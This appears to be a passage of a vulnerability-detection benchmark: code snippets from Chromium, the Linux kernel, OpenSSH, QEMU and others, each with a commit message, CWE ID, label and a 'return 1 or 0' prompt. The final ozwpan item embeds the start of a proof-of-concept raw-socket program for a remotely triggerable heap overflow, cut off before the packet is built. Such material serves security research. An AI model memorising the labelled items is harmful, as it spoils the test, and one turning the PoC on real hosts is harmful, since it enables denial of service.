/* This is not implemented in the stack.
* For devices with display, this is not needed
*/
BTIF_TRACE_WARNING("%s: Not implemented", __FUNCTION__);
return BT_STATUS_FAIL;
}
/* BT_SSP_VARIANT_CONSENT & BT_SSP_VARIANT_PASSKEY_CONFIRMATION supported */
BTIF_TRACE_EVENT("%s: accept=%d", __FUNCTION__, accept);
#if (defined(BLE_INCLUDED) && (BLE_INCLUDED == TRUE))
if (pairing_cb.is_le_only)
{
if(pairing_cb.is_le_nc)
{
BTA_DmBleConfirmReply((UINT8 *)bd_addr->address,accept);
} else {
if (accept)
BTA_DmBleSecurityGrant((UINT8 *)bd_addr->address,BTA_DM_SEC_GRANTED);
else
BTA_DmBleSecurityGrant((UINT8 *)bd_addr->address,BTA_DM_SEC_PAIR_NOT_SPT);
}
} else {
BTA_DmConfirm( (UINT8 *)bd_addr->address, accept);
}
#else
BTA_DmConfirm( (UINT8 *)bd_addr->address, accept);
#endif
return BT_STATUS_SUCCESS;
}
Commit Message: DO NOT MERGE Fix potential DoS caused by delivering signal to BT process
Bug: 28885210
Change-Id: I63866d894bfca47464d6e42e3fb0357c4f94d360
Conflicts:
btif/co/bta_hh_co.c
btif/src/btif_core.c
Merge conflict resolution of ag/1161415 (referencing ag/1164670)
- Directly into mnc-mr2-release
CWE ID: CWE-284
| 0
| 158,613
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void RenderFrameImpl::DidAccessInitialDocument() {
DCHECK(!frame_->Parent());
if (!has_accessed_initial_document_) {
NavigationState* navigation_state =
NavigationState::FromDocumentLoader(frame_->GetDocumentLoader());
if (!navigation_state->request_committed()) {
Send(new FrameHostMsg_DidAccessInitialDocument(routing_id_));
}
}
has_accessed_initial_document_ = true;
}
Commit Message: Convert FrameHostMsg_DidAddMessageToConsole to Mojo.
Note: Since this required changing the test
RenderViewImplTest.DispatchBeforeUnloadCanDetachFrame, I manually
re-introduced https://crbug.com/666714 locally (the bug the test was
added for), and reran the test to confirm that it still covers the bug.
Bug: 786836
Change-Id: I110668fa6f0f261fd2ac36bb91a8d8b31c99f4f1
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1526270
Commit-Queue: Lowell Manners <lowell@chromium.org>
Reviewed-by: Daniel Cheng <dcheng@chromium.org>
Reviewed-by: Camille Lamy <clamy@chromium.org>
Cr-Commit-Position: refs/heads/master@{#653137}
CWE ID: CWE-416
| 0
| 139,566
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int in_same_refcount_block(BDRVQcowState *s, uint64_t offset_a,
uint64_t offset_b)
{
uint64_t block_a = offset_a >> (2 * s->cluster_bits - REFCOUNT_SHIFT);
uint64_t block_b = offset_b >> (2 * s->cluster_bits - REFCOUNT_SHIFT);
return (block_a == block_b);
}
Commit Message:
CWE ID: CWE-190
| 0
| 16,803
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: ACodec::ExecutingToIdleState::ExecutingToIdleState(ACodec *codec)
: BaseState(codec),
mComponentNowIdle(false) {
}
Commit Message: Fix initialization of AAC presentation struct
Otherwise the new size checks trip on this.
Bug: 27207275
Change-Id: I1f8f01097e3a88ff041b69279a6121be842f1766
CWE ID: CWE-119
| 0
| 164,013
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void FetchManager::Loader::Failed(const String& message) {
if (failed_ || finished_)
return;
failed_ = true;
if (execution_context_->IsContextDestroyed())
return;
if (!message.IsEmpty()) {
execution_context_->AddConsoleMessage(
ConsoleMessage::Create(kJSMessageSource, kErrorMessageLevel, message));
}
if (resolver_) {
ScriptState* state = resolver_->GetScriptState();
ScriptState::Scope scope(state);
resolver_->Reject(V8ThrowException::CreateTypeError(state->GetIsolate(),
"Failed to fetch"));
}
probe::didFailFetch(execution_context_, this);
NotifyFinished();
}
Commit Message: [Fetch API] Fix redirect leak on "no-cors" requests
The spec issue is now fixed, and this CL follows the spec change[1].
1: https://github.com/whatwg/fetch/commit/14858d3e9402285a7ff3b5e47a22896ff3adc95d
Bug: 791324
Change-Id: Ic3e3955f43578b38fc44a5a6b2a1b43d56a2becb
Reviewed-on: https://chromium-review.googlesource.com/1023613
Reviewed-by: Tsuyoshi Horo <horo@chromium.org>
Commit-Queue: Yutaka Hirano <yhirano@chromium.org>
Cr-Commit-Position: refs/heads/master@{#552964}
CWE ID: CWE-200
| 0
| 154,228
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: mux_client_hello_exchange(int fd)
{
Buffer m;
u_int type, ver;
buffer_init(&m);
buffer_put_int(&m, MUX_MSG_HELLO);
buffer_put_int(&m, SSHMUX_VER);
/* no extensions */
if (mux_client_write_packet(fd, &m) != 0)
fatal("%s: write packet: %s", __func__, strerror(errno));
buffer_clear(&m);
/* Read their HELLO */
if (mux_client_read_packet(fd, &m) != 0) {
buffer_free(&m);
return -1;
}
type = buffer_get_int(&m);
if (type != MUX_MSG_HELLO)
fatal("%s: expected HELLO (%u) received %u",
__func__, MUX_MSG_HELLO, type);
ver = buffer_get_int(&m);
if (ver != SSHMUX_VER)
fatal("Unsupported multiplexing protocol version %d "
"(expected %d)", ver, SSHMUX_VER);
debug2("%s: master version %u", __func__, ver);
/* No extensions are presently defined */
while (buffer_len(&m) > 0) {
char *name = buffer_get_string(&m, NULL);
char *value = buffer_get_string(&m, NULL);
debug2("Unrecognised master extension \"%s\"", name);
free(name);
free(value);
}
buffer_free(&m);
return 0;
}
Commit Message:
CWE ID: CWE-254
| 0
| 15,533
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int skcipher_next_slow(struct skcipher_walk *walk, unsigned int bsize)
{
bool phys = walk->flags & SKCIPHER_WALK_PHYS;
unsigned alignmask = walk->alignmask;
struct skcipher_walk_buffer *p;
unsigned a;
unsigned n;
u8 *buffer;
void *v;
if (!phys) {
if (!walk->buffer)
walk->buffer = walk->page;
buffer = walk->buffer;
if (buffer)
goto ok;
}
/* Start with the minimum alignment of kmalloc. */
a = crypto_tfm_ctx_alignment() - 1;
n = bsize;
if (phys) {
/* Calculate the minimum alignment of p->buffer. */
a &= (sizeof(*p) ^ (sizeof(*p) - 1)) >> 1;
n += sizeof(*p);
}
/* Minimum size to align p->buffer by alignmask. */
n += alignmask & ~a;
/* Minimum size to ensure p->buffer does not straddle a page. */
n += (bsize - 1) & ~(alignmask | a);
v = kzalloc(n, skcipher_walk_gfp(walk));
if (!v)
return skcipher_walk_done(walk, -ENOMEM);
if (phys) {
p = v;
p->len = bsize;
skcipher_queue_write(walk, p);
buffer = p->buffer;
} else {
walk->buffer = v;
buffer = v;
}
ok:
walk->dst.virt.addr = PTR_ALIGN(buffer, alignmask + 1);
walk->dst.virt.addr = skcipher_get_spot(walk->dst.virt.addr, bsize);
walk->src.virt.addr = walk->dst.virt.addr;
scatterwalk_copychunks(walk->src.virt.addr, &walk->in, bsize, 0);
walk->nbytes = bsize;
walk->flags |= SKCIPHER_WALK_SLOW;
return 0;
}
Commit Message: crypto: skcipher - Add missing API setkey checks
The API setkey checks for key sizes and alignment went AWOL during the
skcipher conversion. This patch restores them.
Cc: <stable@vger.kernel.org>
Fixes: 4e6c3df4d729 ("crypto: skcipher - Add low-level skcipher...")
Reported-by: Baozeng <sploving1@gmail.com>
Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au>
CWE ID: CWE-476
| 0
| 64,798
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void PaymentRequestState::OnSpecUpdated() {
autofill::AutofillProfile* selected_shipping_profile =
selected_shipping_profile_;
autofill::AutofillProfile* selected_contact_profile =
selected_contact_profile_;
if (spec_->current_update_reason() ==
PaymentRequestSpec::UpdateReason::RETRY) {
if (spec_->has_shipping_address_error() && selected_shipping_profile) {
invalid_shipping_profile_ = selected_shipping_profile;
selected_shipping_profile_ = nullptr;
}
if (spec_->has_payer_error() && selected_contact_profile) {
invalid_contact_profile_ = selected_contact_profile;
selected_contact_profile_ = nullptr;
}
}
if (spec_->selected_shipping_option_error().empty()) {
selected_shipping_option_error_profile_ = nullptr;
} else {
selected_shipping_option_error_profile_ = selected_shipping_profile;
selected_shipping_profile_ = nullptr;
if (spec_->has_shipping_address_error() && selected_shipping_profile) {
invalid_shipping_profile_ = selected_shipping_profile;
}
}
is_waiting_for_merchant_validation_ = false;
UpdateIsReadyToPayAndNotifyObservers();
}
Commit Message: [Payment Handler] Don't wait for response from closed payment app.
Before this patch, tapping the back button on top of the payment handler
window on desktop would not affect the |response_helper_|, which would
continue waiting for a response from the payment app. The service worker
of the closed payment app could timeout after 5 minutes and invoke the
|response_helper_|. Depending on what else the user did afterwards, in
the best case scenario, the payment sheet would display a "Transaction
failed" error message. In the worst case scenario, the
|response_helper_| would be used after free.
This patch clears the |response_helper_| in the PaymentRequestState and
in the ServiceWorkerPaymentInstrument after the payment app is closed.
After this patch, the cancelled payment app does not show "Transaction
failed" and does not use memory after it was freed.
Bug: 956597
Change-Id: I64134b911a4f8c154cb56d537a8243a68a806394
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1588682
Reviewed-by: anthonyvd <anthonyvd@chromium.org>
Commit-Queue: Rouslan Solomakhin <rouslan@chromium.org>
Cr-Commit-Position: refs/heads/master@{#654995}
CWE ID: CWE-416
| 0
| 151,154
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void init_executor(void) /* {{{ */
{
zend_init_fpu();
ZVAL_NULL(&EG(uninitialized_zval));
ZVAL_NULL(&EG(error_zval));
/* destroys stack frame, therefore makes core dumps worthless */
#if 0&&ZEND_DEBUG
original_sigsegv_handler = signal(SIGSEGV, zend_handle_sigsegv);
#endif
EG(symtable_cache_ptr) = EG(symtable_cache) - 1;
EG(symtable_cache_limit) = EG(symtable_cache) + SYMTABLE_CACHE_SIZE - 1;
EG(no_extensions) = 0;
EG(function_table) = CG(function_table);
EG(class_table) = CG(class_table);
EG(in_autoload) = NULL;
EG(autoload_func) = NULL;
EG(error_handling) = EH_NORMAL;
zend_vm_stack_init();
zend_hash_init(&EG(symbol_table), 64, NULL, ZVAL_PTR_DTOR, 0);
EG(valid_symbol_table) = 1;
zend_llist_apply(&zend_extensions, (llist_apply_func_t) zend_extension_activator);
zend_hash_init(&EG(included_files), 8, NULL, NULL, 0);
EG(ticks_count) = 0;
ZVAL_UNDEF(&EG(user_error_handler));
EG(current_execute_data) = NULL;
zend_stack_init(&EG(user_error_handlers_error_reporting), sizeof(int));
zend_stack_init(&EG(user_error_handlers), sizeof(zval));
zend_stack_init(&EG(user_exception_handlers), sizeof(zval));
zend_objects_store_init(&EG(objects_store), 1024);
EG(full_tables_cleanup) = 0;
#ifdef ZEND_WIN32
EG(timed_out) = 0;
#endif
EG(exception) = NULL;
EG(prev_exception) = NULL;
EG(scope) = NULL;
EG(ht_iterators_count) = sizeof(EG(ht_iterators_slots)) / sizeof(HashTableIterator);
EG(ht_iterators_used) = 0;
EG(ht_iterators) = EG(ht_iterators_slots);
memset(EG(ht_iterators), 0, sizeof(EG(ht_iterators_slots)));
EG(active) = 1;
}
/* }}} */
Commit Message: Use format string
CWE ID: CWE-134
| 0
| 57,311
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int do_swap_page(struct mm_struct *mm, struct vm_area_struct *vma,
unsigned long address, pte_t *page_table, pmd_t *pmd,
unsigned int flags, pte_t orig_pte)
{
spinlock_t *ptl;
struct page *page, *swapcache;
struct mem_cgroup *memcg;
swp_entry_t entry;
pte_t pte;
int locked;
int exclusive = 0;
int ret = 0;
if (!pte_unmap_same(mm, pmd, page_table, orig_pte))
goto out;
entry = pte_to_swp_entry(orig_pte);
if (unlikely(non_swap_entry(entry))) {
if (is_migration_entry(entry)) {
migration_entry_wait(mm, pmd, address);
} else if (is_hwpoison_entry(entry)) {
ret = VM_FAULT_HWPOISON;
} else {
print_bad_pte(vma, address, orig_pte, NULL);
ret = VM_FAULT_SIGBUS;
}
goto out;
}
delayacct_set_flag(DELAYACCT_PF_SWAPIN);
page = lookup_swap_cache(entry);
if (!page) {
page = swapin_readahead(entry,
GFP_HIGHUSER_MOVABLE, vma, address);
if (!page) {
/*
* Back out if somebody else faulted in this pte
* while we released the pte lock.
*/
page_table = pte_offset_map_lock(mm, pmd, address, &ptl);
if (likely(pte_same(*page_table, orig_pte)))
ret = VM_FAULT_OOM;
delayacct_clear_flag(DELAYACCT_PF_SWAPIN);
goto unlock;
}
/* Had to read the page from swap area: Major fault */
ret = VM_FAULT_MAJOR;
count_vm_event(PGMAJFAULT);
mem_cgroup_count_vm_event(mm, PGMAJFAULT);
} else if (PageHWPoison(page)) {
/*
* hwpoisoned dirty swapcache pages are kept for killing
* owner processes (which may be unknown at hwpoison time)
*/
ret = VM_FAULT_HWPOISON;
delayacct_clear_flag(DELAYACCT_PF_SWAPIN);
swapcache = page;
goto out_release;
}
swapcache = page;
locked = lock_page_or_retry(page, mm, flags);
delayacct_clear_flag(DELAYACCT_PF_SWAPIN);
if (!locked) {
ret |= VM_FAULT_RETRY;
goto out_release;
}
/*
* Make sure try_to_free_swap or reuse_swap_page or swapoff did not
* release the swapcache from under us. The page pin, and pte_same
* test below, are not enough to exclude that. Even if it is still
* swapcache, we need to check that the page's swap has not changed.
*/
if (unlikely(!PageSwapCache(page) || page_private(page) != entry.val))
goto out_page;
page = ksm_might_need_to_copy(page, vma, address);
if (unlikely(!page)) {
ret = VM_FAULT_OOM;
page = swapcache;
goto out_page;
}
if (mem_cgroup_try_charge(page, mm, GFP_KERNEL, &memcg)) {
ret = VM_FAULT_OOM;
goto out_page;
}
/*
* Back out if somebody else already faulted in this pte.
*/
page_table = pte_offset_map_lock(mm, pmd, address, &ptl);
if (unlikely(!pte_same(*page_table, orig_pte)))
goto out_nomap;
if (unlikely(!PageUptodate(page))) {
ret = VM_FAULT_SIGBUS;
goto out_nomap;
}
/*
* The page isn't present yet, go ahead with the fault.
*
* Be careful about the sequence of operations here.
* To get its accounting right, reuse_swap_page() must be called
* while the page is counted on swap but not yet in mapcount i.e.
* before page_add_anon_rmap() and swap_free(); try_to_free_swap()
* must be called after the swap_free(), or it will never succeed.
*/
inc_mm_counter_fast(mm, MM_ANONPAGES);
dec_mm_counter_fast(mm, MM_SWAPENTS);
pte = mk_pte(page, vma->vm_page_prot);
if ((flags & FAULT_FLAG_WRITE) && reuse_swap_page(page)) {
pte = maybe_mkwrite(pte_mkdirty(pte), vma);
flags &= ~FAULT_FLAG_WRITE;
ret |= VM_FAULT_WRITE;
exclusive = 1;
}
flush_icache_page(vma, page);
if (pte_swp_soft_dirty(orig_pte))
pte = pte_mksoft_dirty(pte);
set_pte_at(mm, address, page_table, pte);
if (page == swapcache) {
do_page_add_anon_rmap(page, vma, address, exclusive);
mem_cgroup_commit_charge(page, memcg, true);
} else { /* ksm created a completely new copy */
page_add_new_anon_rmap(page, vma, address);
mem_cgroup_commit_charge(page, memcg, false);
lru_cache_add_active_or_unevictable(page, vma);
}
swap_free(entry);
if (vm_swap_full() || (vma->vm_flags & VM_LOCKED) || PageMlocked(page))
try_to_free_swap(page);
unlock_page(page);
if (page != swapcache) {
/*
* Hold the lock to avoid the swap entry to be reused
* until we take the PT lock for the pte_same() check
* (to avoid false positives from pte_same). For
* further safety release the lock after the swap_free
* so that the swap count won't change under a
* parallel locked swapcache.
*/
unlock_page(swapcache);
page_cache_release(swapcache);
}
if (flags & FAULT_FLAG_WRITE) {
ret |= do_wp_page(mm, vma, address, page_table, pmd, ptl, pte);
if (ret & VM_FAULT_ERROR)
ret &= VM_FAULT_ERROR;
goto out;
}
/* No need to invalidate - it was non-present before */
update_mmu_cache(vma, address, page_table);
unlock:
pte_unmap_unlock(page_table, ptl);
out:
return ret;
out_nomap:
mem_cgroup_cancel_charge(page, memcg);
pte_unmap_unlock(page_table, ptl);
out_page:
unlock_page(page);
out_release:
page_cache_release(page);
if (page != swapcache) {
unlock_page(swapcache);
page_cache_release(swapcache);
}
return ret;
}
Commit Message: mm: avoid setting up anonymous pages into file mapping
Reading page fault handler code I've noticed that under right
circumstances kernel would map anonymous pages into file mappings: if
the VMA doesn't have vm_ops->fault() and the VMA wasn't fully populated
on ->mmap(), kernel would handle page fault to not populated pte with
do_anonymous_page().
Let's change page fault handler to use do_anonymous_page() only on
anonymous VMA (->vm_ops == NULL) and make sure that the VMA is not
shared.
For file mappings without vm_ops->fault() or shred VMA without vm_ops,
page fault on pte_none() entry would lead to SIGBUS.
Signed-off-by: Kirill A. Shutemov <kirill.shutemov@linux.intel.com>
Acked-by: Oleg Nesterov <oleg@redhat.com>
Cc: Andrew Morton <akpm@linux-foundation.org>
Cc: Willy Tarreau <w@1wt.eu>
Cc: stable@vger.kernel.org
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
CWE ID: CWE-20
| 0
| 57,872
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void ConversionContext::EndClips() {
while (state_stack_.size() && state_stack_.back().type == StateEntry::kClip)
EndClip();
}
Commit Message: Reland "[CI] Make paint property nodes non-ref-counted"
This reverts commit 887383b30842d9d9006e11bb6932660a3cb5b1b7.
Reason for revert: Retry in M69.
Original change's description:
> Revert "[CI] Make paint property nodes non-ref-counted"
>
> This reverts commit 70fc0b018c9517558b7aa2be00edf2debb449123.
>
> Reason for revert: Caused bugs found by clusterfuzz
>
> Original change's description:
> > [CI] Make paint property nodes non-ref-counted
> >
> > Now all paint property nodes are owned by ObjectPaintProperties
> > (and LocalFrameView temporarily before removing non-RLS mode).
> > Others just use raw pointers or references.
> >
> > Bug: 833496
> > Cq-Include-Trybots: master.tryserver.blink:linux_trusty_blink_rel;master.tryserver.chromium.linux:linux_layout_tests_slimming_paint_v2
> > Change-Id: I2d544fe153bb94698623248748df63c8aa2081ae
> > Reviewed-on: https://chromium-review.googlesource.com/1031101
> > Reviewed-by: Tien-Ren Chen <trchen@chromium.org>
> > Commit-Queue: Xianzhu Wang <wangxianzhu@chromium.org>
> > Cr-Commit-Position: refs/heads/master@{#554626}
>
> TBR=wangxianzhu@chromium.org,trchen@chromium.org,chrishtr@chromium.org
>
> Change-Id: I02bb50d6744cb81a797246a0116b677e80a3c69f
> No-Presubmit: true
> No-Tree-Checks: true
> No-Try: true
> Bug: 833496,837932,837943
> Cq-Include-Trybots: master.tryserver.blink:linux_trusty_blink_rel;master.tryserver.chromium.linux:linux_layout_tests_slimming_paint_v2
> Reviewed-on: https://chromium-review.googlesource.com/1034292
> Reviewed-by: Xianzhu Wang <wangxianzhu@chromium.org>
> Commit-Queue: Xianzhu Wang <wangxianzhu@chromium.org>
> Cr-Commit-Position: refs/heads/master@{#554653}
TBR=wangxianzhu@chromium.org,trchen@chromium.org,chrishtr@chromium.org
# Not skipping CQ checks because original CL landed > 1 day ago.
Bug: 833496, 837932, 837943
Change-Id: I0b4ef70db1f1f211ba97c30d617225355c750992
Cq-Include-Trybots: master.tryserver.blink:linux_trusty_blink_rel;master.tryserver.chromium.linux:linux_layout_tests_slimming_paint_v2
Reviewed-on: https://chromium-review.googlesource.com/1083491
Commit-Queue: Xianzhu Wang <wangxianzhu@chromium.org>
Reviewed-by: Xianzhu Wang <wangxianzhu@chromium.org>
Cr-Commit-Position: refs/heads/master@{#563930}
CWE ID:
| 0
| 125,580
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: uint16_t virtio_get_queue_index(VirtQueue *vq)
{
return vq->queue_index;
}
Commit Message:
CWE ID: CWE-20
| 0
| 9,204
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: Node* AXLayoutObject::getNode() const {
return getLayoutObject() ? getLayoutObject()->node() : nullptr;
}
Commit Message: Switch to equalIgnoringASCIICase throughout modules/accessibility
BUG=627682
Review-Url: https://codereview.chromium.org/2793913007
Cr-Commit-Position: refs/heads/master@{#461858}
CWE ID: CWE-254
| 0
| 127,041
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: ofproto_init_tables(struct ofproto *ofproto, int n_tables)
{
struct oftable *table;
ovs_assert(!ofproto->n_tables);
ovs_assert(n_tables >= 1 && n_tables <= 255);
ofproto->n_tables = n_tables;
ofproto->tables = xmalloc(n_tables * sizeof *ofproto->tables);
OFPROTO_FOR_EACH_TABLE (table, ofproto) {
oftable_init(table);
}
}
Commit Message: ofproto: Fix OVS crash when reverting old flows in bundle commit
During bundle commit flows which are added in bundle are applied
to ofproto in-order. In case if a flow cannot be added (e.g. flow
action is go-to group id which does not exist), OVS tries to
revert back all previous flows which were successfully applied
from the same bundle. This is possible since OVS maintains list
of old flows which were replaced by flows from the bundle.
While reinserting old flows ovs asserts due to check on rule
state != RULE_INITIALIZED. This will work only for new flows, but
for old flow the rule state will be RULE_REMOVED. This is causing
an assert and OVS crash.
The ovs assert check should be modified to != RULE_INSERTED to prevent
any existing rule being re-inserted and allow new rules and old rules
(in case of revert) to get inserted.
Here is an example to trigger the assert:
$ ovs-vsctl add-br br-test -- set Bridge br-test datapath_type=netdev
$ cat flows.txt
flow add table=1,priority=0,in_port=2,actions=NORMAL
flow add table=1,priority=0,in_port=3,actions=NORMAL
$ ovs-ofctl dump-flows -OOpenflow13 br-test
cookie=0x0, duration=2.465s, table=1, n_packets=0, n_bytes=0, priority=0,in_port=2 actions=NORMAL
cookie=0x0, duration=2.465s, table=1, n_packets=0, n_bytes=0, priority=0,in_port=3 actions=NORMAL
$ cat flow-modify.txt
flow modify table=1,priority=0,in_port=2,actions=drop
flow modify table=1,priority=0,in_port=3,actions=group:10
$ ovs-ofctl bundle br-test flow-modify.txt -OOpenflow13
First flow rule will be modified since it is a valid rule. However second
rule is invalid since no group with id 10 exists. Bundle commit tries to
revert (insert) the first rule to old flow which results in ovs_assert at
ofproto_rule_insert__() since old rule->state = RULE_REMOVED.
Signed-off-by: Vishal Deep Ajmera <vishal.deep.ajmera@ericsson.com>
Signed-off-by: Ben Pfaff <blp@ovn.org>
CWE ID: CWE-617
| 0
| 77,331
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int xfrm_flush_policy(struct sk_buff *skb, struct nlmsghdr *nlh,
struct nlattr **attrs)
{
struct net *net = sock_net(skb->sk);
struct km_event c;
u8 type = XFRM_POLICY_TYPE_MAIN;
int err;
struct xfrm_audit audit_info;
err = copy_from_user_policy_type(&type, attrs);
if (err)
return err;
audit_info.loginuid = audit_get_loginuid(current);
audit_info.sessionid = audit_get_sessionid(current);
security_task_getsecid(current, &audit_info.secid);
err = xfrm_policy_flush(net, type, &audit_info);
if (err) {
if (err == -ESRCH) /* empty table */
return 0;
return err;
}
c.data.type = type;
c.event = nlh->nlmsg_type;
c.seq = nlh->nlmsg_seq;
c.pid = nlh->nlmsg_pid;
c.net = net;
km_policy_notify(NULL, 0, &c);
return 0;
}
Commit Message: xfrm_user: return error pointer instead of NULL
When dump_one_state() returns an error, e.g. because of a too small
buffer to dump the whole xfrm state, xfrm_state_netlink() returns NULL
instead of an error pointer. But its callers expect an error pointer
and therefore continue to operate on a NULL skbuff.
This could lead to a privilege escalation (execution of user code in
kernel context) if the attacker has CAP_NET_ADMIN and is able to map
address 0.
Signed-off-by: Mathias Krause <minipli@googlemail.com>
Acked-by: Steffen Klassert <steffen.klassert@secunet.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID:
| 0
| 33,150
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: activate_mount_op_active (GtkMountOperation *operation,
GParamSpec *pspec,
ActivateParameters *parameters)
{
gboolean is_active;
g_object_get (operation, "is-showing", &is_active, NULL);
if (is_active)
{
pause_activation_timed_cancel (parameters);
}
else
{
unpause_activation_timed_cancel (parameters);
}
}
Commit Message: mime-actions: use file metadata for trusting desktop files
Currently we only trust desktop files that have the executable bit
set, and don't replace the displayed icon or the displayed name until
it's trusted, which prevents for running random programs by a malicious
desktop file.
However, the executable permission is preserved if the desktop file
comes from a compressed file.
To prevent this, add a metadata::trusted metadata to the file once the
user acknowledges the file as trusted. This adds metadata to the file,
which cannot be added unless it has access to the computer.
Also remove the SHEBANG "trusted" content we were putting inside the
desktop file, since that doesn't add more security since it can come
with the file itself.
https://bugzilla.gnome.org/show_bug.cgi?id=777991
CWE ID: CWE-20
| 0
| 61,161
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static ssize_t regulator_min_uA_show(struct device *dev,
struct device_attribute *attr, char *buf)
{
struct regulator_dev *rdev = dev_get_drvdata(dev);
if (!rdev->constraints)
return sprintf(buf, "constraint not defined\n");
return sprintf(buf, "%d\n", rdev->constraints->min_uA);
}
Commit Message: regulator: core: Fix regualtor_ena_gpio_free not to access pin after freeing
After freeing pin from regulator_ena_gpio_free, loop can access
the pin. So this patch fixes not to access pin after freeing.
Signed-off-by: Seung-Woo Kim <sw0312.kim@samsung.com>
Signed-off-by: Mark Brown <broonie@kernel.org>
CWE ID: CWE-416
| 0
| 74,522
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void RenderThreadImpl::SampleGamepads(blink::WebGamepads* data) {
webkit_platform_support_->sampleGamepads(*data);
}
Commit Message: Disable forwarding tasks to the Blink scheduler
Disable forwarding tasks to the Blink scheduler to avoid some
regressions which it has introduced.
BUG=391005,415758,415478,412714,416362,416827,417608
TBR=jamesr@chromium.org
Review URL: https://codereview.chromium.org/609483002
Cr-Commit-Position: refs/heads/master@{#296916}
CWE ID:
| 0
| 126,754
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: png_get_color_type(png_structp png_ptr, png_infop info_ptr)
{
if (png_ptr != NULL && info_ptr != NULL)
return info_ptr->color_type;
return (0);
}
Commit Message: third_party/libpng: update to 1.2.54
TBR=darin@chromium.org
BUG=560291
Review URL: https://codereview.chromium.org/1467263003
Cr-Commit-Position: refs/heads/master@{#362298}
CWE ID: CWE-119
| 0
| 131,276
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status, const u8 *desc,
int length, int offset, int total_size)
{
struct oz_port *port = hport;
struct urb *urb;
int err = 0;
oz_dbg(ON, "oz_hcd_get_desc_cnf length = %d offs = %d tot_size = %d\n",
length, offset, total_size);
urb = oz_find_urb_by_id(port, 0, req_id);
if (!urb)
return;
if (status == 0) {
int copy_len;
int required_size = urb->transfer_buffer_length;
if (required_size > total_size)
required_size = total_size;
copy_len = required_size-offset;
if (length <= copy_len)
copy_len = length;
memcpy(urb->transfer_buffer+offset, desc, copy_len);
offset += copy_len;
if (offset < required_size) {
struct usb_ctrlrequest *setup =
(struct usb_ctrlrequest *)urb->setup_packet;
unsigned wvalue = le16_to_cpu(setup->wValue);
if (oz_enqueue_ep_urb(port, 0, 0, urb, req_id))
err = -ENOMEM;
else if (oz_usb_get_desc_req(port->hpd, req_id,
setup->bRequestType, (u8)(wvalue>>8),
(u8)wvalue, setup->wIndex, offset,
required_size-offset)) {
oz_dequeue_ep_urb(port, 0, 0, urb);
err = -ENOMEM;
}
if (err == 0)
return;
}
}
urb->actual_length = total_size;
oz_complete_urb(port->ozhcd->hcd, urb, 0);
}
Commit Message: ozwpan: Use unsigned ints to prevent heap overflow
Using signed integers, the subtraction between required_size and offset
could wind up being negative, resulting in a memcpy into a heap buffer
with a negative length, resulting in huge amounts of network-supplied
data being copied into the heap, which could potentially lead to remote
code execution.. This is remotely triggerable with a magic packet.
A PoC which obtains DoS follows below. It requires the ozprotocol.h file
from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
